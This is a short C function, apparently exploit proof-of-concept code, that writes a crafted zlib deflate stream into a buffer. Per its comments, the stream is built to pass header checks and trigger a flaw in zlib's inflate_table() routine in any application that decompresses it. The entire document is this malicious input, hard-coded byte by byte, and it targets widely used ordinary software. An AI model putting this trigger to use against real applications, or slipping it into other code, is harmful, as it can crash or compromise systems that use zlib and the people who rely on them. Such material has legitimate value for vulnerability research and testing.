/* a convenient zlib inflate_table() trigger placement */

char *
pull_trigger(char *buf_p)
{
  /* buf_p is first input to app expecting a zlib deflated stream */

  memcpy(buf_p, "\x68\x81", 2); buf_p += 2; /* header that passes all checks */
  memcpy(buf_p, "\xed", 1); buf_p += 1;
  memcpy(buf_p, "\xfd", 1); buf_p += 1;
  memcpy(buf_p, "\xb1\x01\xdb\x00\x00\xc0\xb0\x01", 8); buf_p += 8;
  memcpy(buf_p, "\xfb\xbe\xef", 3); buf_p += 3;
  memcpy(buf_p, "\xfb\xbe\xef", 3); buf_p += 3;
  memcpy(buf_p, "\xfb\xbe\xef", 3); buf_p += 3;
  memcpy(buf_p, "\xfb\xbe\xef", 3); buf_p += 3;
  memcpy(buf_p, "\xfb\xbe\xef", 3); buf_p += 3;
  memcpy(buf_p, "\xfb\xbe\xef", 3); buf_p += 3;
  memcpy(buf_p, "\xfb\xbe\xef", 3); buf_p += 3;
  memcpy(buf_p, "\x4b\xf7\x7d\x06", 4); buf_p += 4;

  return buf_p;
}
```